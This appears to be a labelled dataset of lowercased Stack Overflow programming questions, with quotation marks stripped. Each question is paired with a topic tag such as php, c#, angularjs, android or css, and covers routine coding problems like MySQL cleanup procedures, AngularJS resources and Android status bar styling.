going on,.net
sending mms and email from within app  how does one get the pop up menu selection for email  mms etc which is used when an image is selected on the iphone.     <img src= https://i.stack.imgur.com/kvk2m.png  alt= menu >    another thing  how can one add things to this menu e.g. facebook share  twitter share  what is the name of this menu,iphone
mysql remove data from table in a procedure  i d like to remove mysql data from each table in a database on mysql 5.6.    in my database  each tables have a column with the following format : _date timestamp.    the goal is to run a procedure that will remove every data from a database each 5 days. so i did the following :   <pre><code>delimiter //  drop procedure if exists cleardata // create procedure cleardata() begin     declare done int default false;     declare table_name char(255);     set @remove_date = select date_sub(now()  interval 5 day);      declare cur1 cursor for        select table_name       from information_schema.tables       where table_type =  base table  and table_schema= storagedb ;      declare continue handler for not found set done = true;      open cur1;      myloop: loop         fetch cur1 into table_name;         if done then             leave myloop;         end if;         set @sql = concat( delete from `storagedb`.   table_name    where    table_name  _date &gt;=   @remove_date);         prepare stmt from @sql;         execute stmt;         drop prepare stmt;     end loop;      close cur1; end //  delimiter ; </code></pre>   however i m getting this error :   <pre><code> #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  select date_sub(now()  interval 5 day); </code></pre>   i used to use postgres so i don t get whats wrong with it    regards,mysql
can passport authentication be done in .net   can i do passport authentication in .net,.net
recursive implementation of  append if not present  for linked list <pre><code>public bool add(int e)     {         if(head == null)         {             node n = new node              {                 element = e             };             head = n;             return true;         }         node t = head;         if(t.next == null)         {             if(t.element == e)             { return false; }             node n = new node             {                 element = e             };             t.next = n;             return true;         }         t = t.next;         this.add(e);          return true;     } </code></pre>   this is a code to add a new node in set. no duplicated values allowed. there is main class called sets and one inner class called nodes. i know node t = head;  is creating a problem is there anyway to make this recursive  even passing extra optional parameters doesn t help.,c#
strange behavior of <a> tag  my code says    <pre><code>&lt;a href= http://www.example.com &gt;example.com&lt;/a&gt; </code></pre>   but when it comes to the browser  it looks like the following and the link is not working.    <pre><code>&lt;a&amp;nbsp;href= http: www.example.com =  &gt;example.com&lt;/a&amp;nbsp;href= http:&gt; </code></pre>   do you have any idea why this is happening,html
how to set caps lock only for selected signs in css   i have downloaded a font and i set <code>font-variant: small-caps;</code>. works fine but my numbers are way too big then. and now i want to know if there is any way to set caps lock only for letters  not for the numbers  i know that theoretically numbers don t have caps lock form but in my case they do. any ideas how to fix it,css
how to exit program using the enter key  michael dawson says in his book <em>python programming</em> (third edition  page 14) that if i enter <code>input( \n\npress the enter key to exit. )</code> when the user presses the enter key the program will end.     i have tried this several times and it doesn t happen. i have tried using python 3.1 and 3.3. help would be appreciated.,python
checking network availability continuously while rest of code is running separately  i am writing a code in python to design a software application. i want to add following functionality in my code:    when user starts using software  a <code>ping()</code> function runs and tries to connect to internet to fetch some data. if network is not available then it should continuously check network availability to fetch the data. while that <code>ping()</code> is checking network continuously  i want my software application to do usual things.    my code is:   <pre><code>def ping():     global lst1     if network_connection() is true:         links = lxml.html.parse( http://google.com ).xpath( //a/@href )         for url in links:              lst1.append(url)     else:         ping()  def network_connection():         network=false         try:             response = urllib2.urlopen( http://google.com   none  2.5)             network=true          except urllib2.urlerror  e:             pass         return network </code></pre>   when application starts i call <code>ping()</code> and inside <code>ping()</code> function i am doing a recursive call. it is obviously wrong because in that case my code will stuck in this recursive call until network connection is available and application will not be initiated.    is there anyway that i can do both things side by side: checking network availability and running rest of code at the same time,python
inserting onto the array <pre><code>-(void)insertevent:(strs232timer*)pevent {     bool bfound = no;     nslog(@ insertevent );     pevent-&gt;uexpirationtime = pevent-&gt;uperiod-45;      // insert the item into the event queue in chronological order     int no = [m_cpendingeventlist count];     strs232timer* val;     for(int i=0;i&lt;no;i++)     {         val = (strs232timer*)[m_cpendingeventlist objectatindex:i];         if (pevent-&gt;uexpirationtime &lt; val-&gt;uexpirationtime)          {             nslog(@ going to insert!! );             if (i=0) {                 [m_cpendingeventlist insertobject:(void*)pevent atindex:i];                 bfound = yes;                 break;             }             else //insert before             {                  [m_cpendingeventlist insertobject:(void*)pevent atindex:(i-1)];                 bfound = yes;                 break;             }         }         i++;     }     if (!bfound) {         [m_cpendingeventlist insertobject:(void*)pevent atindex:(no+1)];//insert last     } } </code></pre>   is this the correct way to search the and insert the events in a correct order     i am getting a run-time break in the if() stmts above.,objective-c
angularjs $http use data into controller  i m new in angularjs so if the question is not  intelligent  for you  please don t rate it in negative. if someone ask a question  for he isn t stupid.    so..    i would like to use data from an ajax request  like this:   <pre><code>    encryptapp.factory( getdata   function($http  $rootscope) {     var getdata = {};      getdata.tot_of = function() {         return $http.get( /path/to ).then(function(result) {             return result.data;         });     }      getdata.get_info = function() {         return $http.get( /path/to ).then(function(result) {             return result.data;         });     }        return getdata;  }); </code></pre>   in controller i use this:   <pre><code>getdata.get_info().then(function(get_info) {         $scope.get_info = get_info;     }); // here the $scope.get_info is undefined </code></pre>   i m new in angularjs and i don t know why does this. so  is there a method that i can use the json data outside the   then function  .    thanks and please don t rate this question negative. sorry if my english is not good.,angularjs
creating html tags using php but is there a way to avoid it in this scenerio  <pre><code> while($row = mysql_fetch_array($result)){  echo  &lt;table&gt;&lt;tr&gt;&lt;td&gt;  . $row[ some ] .  &lt;/td&gt;&lt;td&gt; .        $row[ somenae ].  &lt;div&gt; . $row[ some ] .  &lt;/div&gt;        &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ; </code></pre>   above is my php script and the array size is some 50 to 100 or may be 1000 also  so looping through 50 to 100 and creating html tags using php  is it a good practise here  how can i avoid it.i dont want to create html tags like tables  using php here but i have left no choice with. i only want the values of variables of php and that should be inserted in between tables    does any one know how to avoid creating html tags using php in this type of scenerio.i did  lots of my code using this way and some of them said why do you make server busy by creating unneccassary tags here but i did not find any better soultion than this.please let me know if there is a better solution than this.any help is greatly appreciated.thanks,php
how to add object in object   i have object js as: <code>var a =  { name  :  value };</code>    i tried to add this in another object:   <pre><code>var obj = {};  obj = a; </code></pre>   it works. but i want to make the following objects model:   <pre><code>var obj = {  localkey  : {{ key1  :  v }  { key2    w }} } </code></pre>   how to add object into <code>var obj</code> correct     so  i need to extract data value by complicated code:   <pre><code>localkey.key1 </code></pre>,javascript
c++ appears to violate properties of addition  working on an assignment for class  i ran into this (notice the conditional of the loop)   <pre><code>// this one works. for (int k = 0; k + negwords[j].length() &lt; comments[i].length(); k++) {     if (comments[i].substr(k  negwords[j].length()) == negwords[j]) {         negativescore++;     } } //*/  /*/ this one doesn t: it fails with an out-of-bounds index. for (int k = 0; k &lt; comments[i].length() - negwords[j].length(); k++) {     if (comments[i].substr(k  negwords[j].length()) == negwords[j]) {         negativescore++;     } } //*/ </code></pre>   why is it that the first one works but the second one doesn t  is it something about order of operations  bool coercion to int  operator associativity  or an oboe,c++
is there a better way to save and retrieve data between object and database   i have been writing many .net applications in which sql server is involved.    for each database table  i wrote a corresponding class in .net.    example:   <pre><code>class a {     property a; } </code></pre>   then i have to write another class to do with the class a for saving and retrieving from the database:   <pre><code>class adb {     public a parse(datatable objecta){} // for parsing objecta from db to a      public void add(a a){}   // write query to add a into the database      public void remove(a a) {} // write query to remove a from the database      public void update(a a) {} // write query to update a into the database } </code></pre>   as a result  i have to write for test cases for the methods: parse()  add()  remove() and update()    is there is a recent technology to make it simpler of saving and retrieving from and into database,.net
creating static [] operator  is it possible to create static class with [] operator     on non static classes the syntax is pretty simple:   <pre><code>   public v this[k key]         {             get             {                //get stuff...             }             set             {                //set stuff....             }         } </code></pre>   however  i can t find a way to this on static objects.,c#
disabling ndef push for an android activity on sgs3  i m trying to prevent certain activities from firing up the default  <em>touch to beam</em>  behaviour.    according to the <a href= http://developer.android.com/reference/android/nfc/nfcadapter.html#setndefpushmessagecallback%28android.nfc.nfcadapter.createndefmessagecallback %20android.app.activity %20android.app.activity...%29  rel= nofollow >javadocs</a>  using:    <code>nfcadapter.setndefpushmessagecallback(null  this);</code>    or    <code>nfcadapter.setndefpushmessage(null  this);</code>    should completely disable ndef push for the specified activity(s) and additionally:   <blockquote>    this also disables any default ndef message the android os would have otherwise sent on your behalf for those activity(s).  </blockquote>   this works <strong>perfectly</strong> on my nexus 7 (running 4.2.1) but <strong>fails</strong> to behave as intended on my samsung galaxy s3 (running 4.0.4) - i still get prompted to  <em>touch to beam</em> .    i ve also tried adding the following to my manifest  with no luck:    <code>&lt;meta-data android:name= android.nfc.disable_beam_default  android:value= true  /&gt;</code>    just wondering if there s anything obvious that i ve missed / am doing wrong  or if anyone else has encountered something similar,android
why a same html page directly in the machine running and iis is not the same as display result   i have a static html page running in local machine input the  c:\test.html  in ie8 .everything is work fine.    but when i deploy on iis and by :  <a href= http://localhost/test.html  rel= nofollow noreferrer >http://localhost/test.html</a>     this is a big difference display result between of two way. i am sure i use ie8 and same page.,html
format when column has specific name   the roblem is where there is the punch commentator<br> i need when the column has inter name or outer name to format the content of the $cell with $cell=number_format($cell 2      . ) i m just starting using php so don be too specific thanks        <pre><code>&lt; php     // printing table rows     $rigapadi = 1 ;     while($row = mysql_fetch_row($result))     {         echo  &lt;tr&gt; ;         $rigapadi=$rigapadi+1;           // $row is array... foreach( .. ) puts every element           // of $row to $cell variable           foreach($row as $cell)              if ($rigapadi % 2 == 0) {                  # if column name =  inter  or  outer  $cell = number_format($cell  2        . );                echo  &lt;td align=\ center\ &gt;$cell&lt;/td&gt; ;             } else {                echo  &lt;td bgcolor=\ #e9eef5\  align=\ center\ &gt;$cell&lt;/td&gt; ;             }           echo  &lt;/tr&gt;\n ;       }       mysql_free_result($result);       echo  &lt;/table&gt; ;       echo  &lt;p/&gt; ;     &gt;   </code></pre>,php
jquery repeated event till user clicks on it  i have an animation on a partially hidden div container that will execute when the result returned from an ajax query is true. (the animation actually just brings the box into larger view  and then sliding it back in again)   <pre><code>$( #box ).animate({ right : -184px }  300   easeoutbounce ); $( #box ).animate({ right : -194px }  150   easeoutexpo ); </code></pre>   how can i make this animation repeat every 4 seconds until the user clicks on <code>$( #box )</code>     any help is greatly appreciated. thanks :)    based on jandy s and rahul s code..this is how i m thinking of implementing it (fictitious setting).    this is the code that starts the animation:   <pre><code>// declares the variable first or $( #stop ).click() will return undefined variable var intervalid =   ; $( #submit ).submit(function () {   var intervalid = setinterval(function(){     $( #box ).animate({ right : -184px }  300   easeoutbounce );     $( #box ).animate({ right : -194px }  150   easeoutexpo );   }  4000); }); </code></pre>   this is the code that will supposedly will stop the animation:   <pre><code>$( #stop ).click(function () {   clearinterval(intervalid); }); </code></pre>,jquery
how to write the code about login failed more than 5 times ruby on rails  i already have the crm_member_list table and also can successfully login  now i want to add a column to crm_member_list table called  failed_times  to record the failed times.when the failed_times more than 5 times.user account is locked.    i define a method called add_failed_times in the crm_member_list model.   <pre><code>  def self.add_failed_times(mbr_id)      member = find_by_mbr_id(mbr_id)          failed_times = member.failed_times.to_i+1             end </code></pre>   in the session controller    <pre><code>  def create           member = crmmemberlist.authenticate(params[:session][:mbr_id] params[:session][:password])         if member.nil         user= crmmemberlist.find_by_mbr_id(params[:session][:mbr_id])       if user.nil          flash.now[:error] =  invalid passport/password combination.          @title =  user nil          render  new        else         times = crmmemberlist.add_failed_times(params[:session][:mbr_id])         if times.to_i=1            user.failed_times=times             user.save               flash.now[:error] =  invalid passport/password combination.            @title =  less than 6            render  new                  else           @title = locked            render  failed            end          end                  else       sign_in member       redirect_to member       end                                end  </code></pre>   how can i resolve this problem  thanks       the save is false.,ruby-on-rails
splitting vectors into subvectors - java  i have a function that processes vectors. size of input vector can be anything up to few millions. problem is that function can only process vectors that are no bigger than 100k elements without problems.    i would like to call function in smaller parts if vector has too many elements   <pre><code>vector&lt;stuff&gt; process(vector&lt;stuff&gt; input) {     vector&lt;stuff&gt; output;     while(1) {         if(input.size() &gt; 50000) {             output.addall(dostuff(input.pop_front_50k_first_ones_as_subvector());         }         else {             output.addall(dostuff(input));             break;         }     }     return output; } </code></pre>   how should i do this,java
how can i effectively check if one word (in a list of words) exists in a string  in .net   i have about 3 million rows of data i need to import. each row has an address which is split into the following fields:   <ul> <li>street: eg. 1 smith street or 2/4 smith street or 1 smith st.</li> <li>suburb: richmond</li> <li>state: </li> <li>country: iso code.</li> </ul>   when i read in each row  i need to match it against our own database  which has the same field structure.    problem is when we have the following:   <ul> <li>db: 1 smith st.  file: 1 smith street</li> <li>db: 1 smith street.  file: 1 smith st.</li> </ul>   i have a list of all the street abbreviations but i m just not sure how to check for both types of street-types     i m trying to do this:   <pre><code>var addressindexfull = new dictionary&lt;string  int&gt;(); var addressindexabbrev = new dictionary&lt;string  int&gt;();  file rows: - 1 smith st - 2 smith street  db - 1 smith street | id: 1234  result: aif =&gt;  1 smith street  | 1234 aia =&gt;  1 smith st  | 1234 </code></pre>   (note  the 2nd row from the file doesn t match at all. so it doesn t get added to either dictionary).    my gut feeling so far has been to do:   <ol> <li> search for an exact match.   <pre><code>var addresskey = string.format( street-suburb-state-country   ..)                        .trim()                        .tolowerinvariant(); if (addressesfromdb[ 1 smith street-suburb-state-country ])  {      //we have a match  } </code></pre></li> <li> now search against the <em>opposite</em> street type..    <em>no idea</em> </li> </ol>   this gets me a large number of hits. but i m trying to find more matches...    any thoughts     notes: .net 4.5 &amp; c#.,.net
getting file path through browse button  i have put a browse button in my html form. with the help of it i just want to get only the file path not the file itself. for ex: if i browse to  d:\raghu\hgg  all i want is the path itself  not the  hgg  folder. is it possible  any hint is very much appreciated.,html
pass object retrieved via resource to directive in angularjs  i am binding an object to the scope of the directive and based on the value of status property of the object  directive will show or hide a menu.     everything works fine if this object is created and available to the controller prior to passing it to the directive. however  when i change the code to retrieve this object from the server  the conditional statement fails claiming property status is undefined.     remote object is retrieved in my controller using resource wrapped in service:   <pre><code>var reservation = reservation.get({id: $routeparams.id}  function(){   $scope.reservation = reservation; }); </code></pre>   service looks like this:   <pre><code>services.factory( reservation   [ $resource    appsettings    $log       function($resource  appsettings  $log){         return $resource(appsettings.serverurl +  /reservations/:id   {}  {             update: {method: put   params: {id:  @id }}         });     } ]); </code></pre>   i almost positive this happens because the directive loads before the object is retrieved via resource. is there a way to execute directive s controller only once the object is loaded  below is my simplified  working code that uses locally created object.    html:   <pre><code>&lt;div ng-app= test &gt;     &lt;div ng-controller= testctrl &gt;         &lt;p&gt;id: {{reservation.id}}&lt;/p&gt;         &lt;p&gt;name: {{reservation.name}}&lt;/p&gt;         &lt;p&gt;status: {{reservation.status.value}}&lt;/p&gt;         &lt;menu reservation= reservation /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   js   <pre><code>angular.module( test   []).factory( getter   function () {     return {         get: function () {             return {                 id: 1                  name:  test reservation                   status: {                      key :  canceled                        value :  canceled                  }             };         }     };  }).directive( menu   function () {     return {         restrict:  e           scope: {             reservation:  =          }          template:  &lt;ul ng-show= showmenu &gt;&lt;li&gt;&lt;a href= #/reservation/{{reservation.id}} &gt;view reservation&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;           controller: function ($scope) {              if($scope.reservation.status.key ==  canceled ) {                 console.log( canceled );                 $scope.showmenu = false;             } else {                 console.log( active );                 $scope.showmenu = true;             }         }     };  }).controller( testctrl   [ $scope    getter   function ($scope  getter) {     $scope.reservation = getter.get(); }]); </code></pre>   fiddle with working code using a local object: <a href= http://jsfiddle.net/fedorsmirnoff/jvfaz/3/  rel= nofollow >http://jsfiddle.net/fedorsmirnoff/jvfaz/3/</a>,angularjs
get select option value from html with php to disable input field  i use <code>select</code> as below:   <pre><code>&lt;select name= account_type  required&gt;     &lt;option value=  &gt;choose account type&lt;/option&gt;     &lt;option value= 1 &gt;asset&lt;/option&gt;     &lt;option value= 2 &gt;bank&lt;/option&gt;     &lt;option value= 3 &gt;capital&lt;/option&gt;     &lt;option value= 4 &gt;cash&lt;/option&gt;     &lt;option value= 5 &gt;expense&lt;/option&gt;     &lt;option value= 6 &gt;income&lt;/option&gt;     &lt;option value= 7 &gt;liability&lt;/option&gt; &lt;/select&gt; </code></pre>   now i want to catch those option values using <code>php</code> variable  and here is the important part: i will have an input field  and based on the values i want to enable/disable that input filed. how can i do that,php
second activity has a grey status bar  i have a problem with using translucent status bars.    on my first activity it works perfectly:    <a href= https://imgur.com/rys2evh  rel= nofollow noreferrer ><img src= https://i.imgur.com/rys2evh.png  title= source: imgur.com  /></a>    when i open a new activity it looks like this:    <a href= https://imgur.com/1sxiv70  rel= nofollow noreferrer ><img src= https://i.imgur.com/1sxiv70.png  title= source: imgur.com  /></a>    layout for my first acctivity:   <pre><code>&lt;android.support.v4.widget.drawerlayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  xmlns:app= http://schemas.android.com/apk/res-auto  android:id= @+id/drawer_layout  android:layout_width= match_parent  android:layout_height= match_parent  android:fitssystemwindows= true  tools:context= .myactivity &gt; &lt;relativelayout android:layout_width= match_parent  android:layout_height= wrap_content &gt; &lt;relativelayout     android:id= @+id/lay_list_tool      android:layout_width= match_parent      android:layout_height= wrap_content &gt; &lt;include      layout= @layout/toolbar /&gt; &lt;/relativelayout&gt; &lt;framelayout     android:id= @+id/container      android:layout_width= match_parent      android:layout_height= match_parent      android:layout_below= @id/lay_list_tool &gt; &lt;/framelayout&gt; &lt;/relativelayout&gt;     &lt;android.support.design.widget.navigationview         android:id= @+id/navigation_drawer          android:layout_width= wrap_content          android:layout_height= match_parent          android:layout_gravity= start          app:headerlayout= @layout/nav_content          app:menu= @menu/drawer /&gt; &lt;/android.support.v4.widget.drawerlayout&gt; </code></pre>   layout for my second activity:   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  xmlns:app= http://schemas.android.com/apk/res-auto  android:layout_width= match_parent  android:layout_height= match_parent  android:fitssystemwindows= true  style= @style/apptheme.base  tools:context= net.maartengeelen.mybar.searchresultsactivity &gt; &lt;relativelayout     android:id= @+id/search_result_tool      android:layout_width= match_parent      android:layout_height= wrap_content &gt;     &lt;include layout= @layout/toolbar  /&gt; &lt;/relativelayout&gt; &lt;scrollview     android:layout_width= match_parent      android:layout_height= match_parent      android:layout_below= @id/search_result_tool      android:fillviewport= true &gt; &lt;linearlayout     android:id= @+id/search_main      android:layout_width= match_parent      android:layout_height= match_parent      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      android:orientation= vertical &gt; &lt;/linearlayout&gt; &lt;/scrollview&gt; &lt;/relativelayout&gt; </code></pre>   and my style used in both activities:   <pre><code>&lt;style name= apptheme.base  parent= theme.appcompat.light.noactionbar &gt;     &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;     &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;     &lt;item name= android:textcolorprimary &gt;@color/textcolorprimary&lt;/item&gt;     &lt;item name= android:textcolorsecondary &gt;@color/textcolorsecondary&lt;/item&gt;     &lt;item name= android:divider &gt;@color/divider&lt;/item&gt;     &lt;item name= android:windowtranslucentstatus &gt;true&lt;/item&gt;     &lt;item name= android:windowdrawssystembarbackgrounds &gt;true&lt;/item&gt;     &lt;item name= android:statusbarcolor &gt;@android:color/transparent&lt;/item&gt;     &lt;item name= android:windownotitle &gt;true&lt;/item&gt;     &lt;item name= windowactionbar &gt;false&lt;/item&gt; &lt;/style&gt; </code></pre>   can somebody tell what i m doing wrong  to me this should be exactly the same.,android
should a value be used for all attributes   there are attributes in html that only specify a boolean value. these include <code>multiple</code>  <code>disabled</code>  <code>selected</code> etc.    in xhtml  due to the strict xml syntax  you must give the attributes a value. this is normally the name of the attribute.   <pre><code>&lt;select multiple= multiple &gt; </code></pre>   but html also supports just the name of the element.   <pre><code>&lt;select multiple&gt; </code></pre>   and  as seen <a href= http://jsfiddle.net/zu5tejjb/  rel= nofollow >here</a>  browsers (at least firefox) also allow for other values with the same result.   <pre><code>&lt;select multiple= yes &gt; </code></pre>   which one of these is the generally used one  or is there one  what is the official recommendation,html
looped url  i broked .htaccess  i have a little problem.    i tried some rewriterule in my .htaccess file and i broked it.    i get:   <blockquote>    <a href= http://localhost/home/user/documents/www/localhost/home/home/user/documents/www/localhost/home/home/user/documents/  rel= nofollow noreferrer >http://localhost/home/user/documents/www/localhost/home/home/user/documents/www/localhost/home/home/user/documents/</a> and much same path  </blockquote>   instead of localhost.    the main problem is  that i deleted .htaccess file and i still get this looped url.    how can i solve this,php
memorystream: local or not   this is a really really simple question.    does the c# <code>memorystream</code> hold the data on the client or on the server     for example i have a form that when posted uploads a file to my s3 bucket  but before it does that it reads the file into the memory stream. if that file has to be uploaded to the server first and held in a <code>memorystream</code> on the server  then that is bad and i need to rethink my solution.    if the <code>memorystream</code> is local to the client  then that is good.,c#
passing always two characters to string from an int value  this is the piece of code i am using to extract:    -day of week    -day of month    -month    -year    -hour    -minutes    from a string    <pre><code>//calculo de fechas           string fecha = resultp.get(agenda_mainactivity.dia);//format-&gt;2014-04-21          string time = resultp.get(agenda_mainactivity.hora);//format -&gt; 17:30:00          string string = fecha+   +time;               calendar calender = calendar.getinstance();             try {                 calender.settime(new simpledateformat( yyyy-mm-d k:m:s ).parse(string));             } catch (parseexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } </code></pre>   all is working fine. the only issue i have is calculating the minutes. this is the code i use to extract the minutes:   <pre><code>string minutos = string.valueof(calender.get(calendar.minute)); </code></pre>   the problem is the following  if the time is 17:35  then minutos =  35   as it should be. but is the time is like 17:00  then minutos =  0   and not  00 .    i need your help to solve this small issue. thank you.,android
a problems about using c++ struct <pre><code>enum attributes{ branch  node };  struct node{   attributes att = attributes::node;    char ch =  \0 ;    unsigned int frequency = 0;    node* nextrightnode = nullptr;   node* nextleftnode = nullptr; };  const node&amp; operator=(node&amp; a  node&amp; b){   if(b.att == attributes::node){     a.att = attributes::node;     a.ch = b.ch;     a.frequency = b.frequency;      a.nextleftnode = nullptr;     a.nextrightnode = nullptr;   }else if(b.att == attributes::branch){     a.att = attributes::branch;     a.ch =  \0 ;     a.frequency = 0;      if(b.nextleftnode != nullptr){       *a.nextleftnode = *b.nextleftnode;     }else{       a.nextleftnode = nullptr         }      if(b.nextrightnode != nullptr){       *a.nextrightnode = *b.nextrightnode;     }else{       a.nextrightnode = nullptr     }   }    return a; } </code></pre>   i try to use g++.exe to compiler this code. and it shows up this   <pre><code>fortry.cpp:14:7: error:  node  does not name a type const node&amp; operator=(node&amp; a  node&amp; b){       ^~~~ </code></pre>   can someone tell me why it says node does not name a type  please,c++
get variables inside includes  what are the security implications of passing a get variable through an include     example:     index.php:   <pre><code>$lastname = $pulleddatabasevalue;  include  ../includes/header lastname=$lastname ; </code></pre>   header.php:   <pre><code>echo $_get[ lastname ]; </code></pre>   as the variable is dynamic  i have struggled to make include() or sessions work to assign the variable $lastname with the database value within the php include. however  $_get here has worked fine. it doesn t show up on the browser address bar  thus can t be manipulated in a hostile manner there. is there another way someone with malicious intent could work this code  assume that the include directory is locked and i m only referring to index.php.,php
invalid argument js query  <a href= http://pittsburghwedding.whsites.net/  rel= nofollow >http://pittsburghwedding.whsites.net/</a>    i am a novice and do not have any css or js experience.  i am creating my first wordpress site using genesis and a child theme.    i get this error  but not on every page load.  it only pops up after i think the problem has been solved...    invalid argument js query or access is denied jquery    i don t know if this is an issue with my computer  internet provider or because once i noticed the errors i kept reloading the site until i could see it happen again and get some debugging information.    this is the debugging info for access is denied.  i c&amp;p everything because i don t know what is important.,jquery
category structure  i am having trouble with some theory.    i have a model called promos  and i also have a model called categories.    i want the admin to be able to create set categories from which the users will select in a dropdown to assign the promo. so promos will belong to a category but the assignment ought to happen in the create.     what is the recommended structure,ruby-on-rails
place image on html map area  i have this <a href= http://i.imgur.com/yfrbg8g.jpg  rel= nofollow >map</a>. all fields on this map are cuted with html map areas. how can i place image in one field(area) through map  example: this <a href= http://i.imgur.com/wakocyx.png  rel= nofollow >building</a>.     map code:   <pre><code>&lt;img src= slike/pregled/plangrada.jpg  width= 800  height= 480  usemap= #mapagrad &gt; &lt;map name= mapagrad &gt; &lt;area id= p1  shape= poly  coords= 611 88 705 41 799 88 705 135  onclick= izaberi(this)  href= # &gt; &lt;area id= p2  shape= poly  coords= -28 129 87 72 202 129 87 187  onclick= izaberi(this)  href= # &gt; &lt;area id= p3  shape= poly  coords= 347 154 407 124 467 154 407 184  onclick= izaberi(this)  href= # &gt; &lt;area id= p4  shape= poly  coords= 263 197 323 167 383 197 323 227  onclick= izaberi(this)  href= # &gt; &lt;area id= p5  shape= poly  coords= 431 197 491 167 551 197 491 227  onclick= izaberi(this)  href= # &gt; &lt;area id= p6  shape= poly  coords= 178 239 238 209 298 239 238 269  onclick= izaberi(this)  href= # &gt; &lt;area id= p7  shape= poly  coords= 515 238 575 208 635 238 575 268  onclick= izaberi(this)  href= # &gt; &lt;area id= p8  shape= poly  coords= 94 281 154 251 214 281 154 311  onclick= izaberi(this)  href= # &gt; &lt;area id= p9  shape= poly  coords= 607 292 779 206 951 292 779 378  onclick= izaberi(this)  href= # &gt; &lt;area id= p10  shape= poly  coords= 11 322 71 292 131 322 71 352  onclick= izaberi(this)  href= # &gt; &lt;area id= p11  shape= poly  coords= 179 323 239 293 299 323 239 353  onclick= izaberi(this)  href= # &gt; &lt;area id= p12  shape= poly  coords= 516 323 576 293 636 323 576 353  onclick= izaberi(this)  href= # &gt; &lt;area id= p13  shape= poly  coords= 258 362 322 330 386 362 322 394  onclick= izaberi(this)  href= # &gt; &lt;area id= p14  shape= poly  coords= 431 365 491 335 551 365 491 395  onclick= izaberi(this)  href= # &gt; &lt;area id= p15  shape= poly  coords= 512 398 657 326 802 398 657 471  onclick= izaberi(this)  href= # &gt; &lt;area id= p16  shape= poly  coords= -62 394 109 309 280 394 109 480  onclick= izaberi(this)  href= # &gt; &lt;area id= p18  shape= poly  coords= 346 407 406 377 466 407 406 437  onclick= izaberi(this)  href= # &gt; &lt;/map&gt; </code></pre>,html
div background maintain at center in desktop and mobile view  desktop view:    <img src= https://i.stack.imgur.com/ctrrp.png  alt= enter image description here >    mobile view:    <img src= https://i.stack.imgur.com/px4hx.png  alt= enter image description here >    how i can maintain the wood button at center  here is my current css for this button:   <pre><code>background-image: url( /assets/img/level/btn-strt.png ); font-family: brushie; cursor: pointer; text-align: center; color: #fff; width: 62%; margin-left: auto; margin-right: auto; font-size: 18px; height: 58px; padding-top: 8px; padding-left: 4px; background-size: contain; margin-top: 19px; background-repeat: no-repeat; </code></pre>   sample image for this button:    <img src= https://i.stack.imgur.com/9l0rs.png  alt= enter image description here >,css
how to check if a variable is an object   is there any way to do the following at compile-time    <pre><code>int aninteger = 0; __if_object(aninteger) {     // send object some messages } __if_primitive(aninteger) {     // do something else } </code></pre>   an dummy situation where this could be used is to define the __add_macro below.   <pre><code>#define __add_macro(var  val) __something_goes_here__  int i = 1; myinteger* num = [[mynumber alloc] initwithvalue:1]  __add_macro(i  4); __add_macro(num  4);  // both should now hold 5 </code></pre>   <strong>clarification/simplification</strong>    i guess there is no way to do this with one macro. but i still need it to warn if the macro is being used on the wrong datatype. those two types are: <code>object</code> and <code>non-object</code>).    to check if it is an object  this works:   <pre><code>#define __warn_if_not_object(var) if(0){[(var) class];} </code></pre>   what i need:   <pre><code>#define _warn_if_object(var) if(0){__something_here__} </code></pre>   again  i need this to happen at compile-time. and it can either throw an error or warning.    thanks,objective-c
static int in c# <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading;  namespace learnthread {     class delay     {         public int timepass()         {             static int i=0;             for(i=0; i&lt;100;i++)             {                 thread.sleep(1000);             }             return i;         }     } } </code></pre>  <blockquote>    error:the modifier  static  is not valid for this item  </blockquote>   why static is error here  we cannot use static for int as we can use in c language,c#
reorder column for small devices  i have this problem: web site page with few rows-2 columns on each row  i want to reorder position for small devices.  row 1: a and b row 2: c and d row 3: e and f row 4: g and h to this order: row 1: a and b (no change) row 2: d and c (position switch) row 3: e and f (no change) row 4: h and g (position switch)    so i give my column <em>row 2 - d and row 4 -h</em> class name: my-content and i use this css code:   <pre><code>@media (min-width: 650px) {   .my-content {     float: left;   } } </code></pre>   but ... it<code>s not working. please tell me how to fix this with css code and reorder columns  thank you in advance p.s - i don</code>t understand nothing from bootstrap,css
copy a section of text using a regex pattern c#  i m trying to use this to copy a section of text from another but it doesn t quite work.    is there another regex command where it can copy text from another based on the pattern provided  i saw regex match is that the one    <pre><code>mystring = regex.split(my_other_string  @ ( &lt;=\[start\]).*( =\[end\]) ); </code></pre>   don t think my regex pattern is quite correct either.    i need to copy all text between [start] and [end]    the text looks like: [start] hellooo world [end]    but the pattern does not return anything:   <pre><code>( &lt;=\[start\]).*( =\[end\]) </code></pre>,c#
refactor angular js factory to provider  i have a factory defined in my program called  entityname . now i want to refactor it to be a provider since i need to add a register function in the provider level. however  i don t want to change all places using the existing factory like so:   <pre><code>new entityname() </code></pre>   so i refactored my factory to be a provider like so:   <pre><code>mymoodule.provider( entityname   function() {     var _this = this;            _this.registerlabel = function registerlabel(name) {           ...     };     _this.$get =  function (session  logger) {             var logger = new logger( entityname );             return function entityname(){...}     } )}; </code></pre>   that way i have both method to be used in provider level(registerlabel) and no need to refactor all places using <code>new entityname()</code>    my question is- whether i can add some functions in the  service  level and keep the fact that i don t need to refactor all <code>new entityname()</code>:     for example i want to have a method <code>entityname.replacelabel()</code>     (not related to the object from <code>var name = new entityname()</code>    i want the service to expose more functions -not only the constructor function. is it possible   how can i do it  that the $get will return both constructor function (so i won t need to change all other places) and also expose additional methods and use it like any other service,angularjs
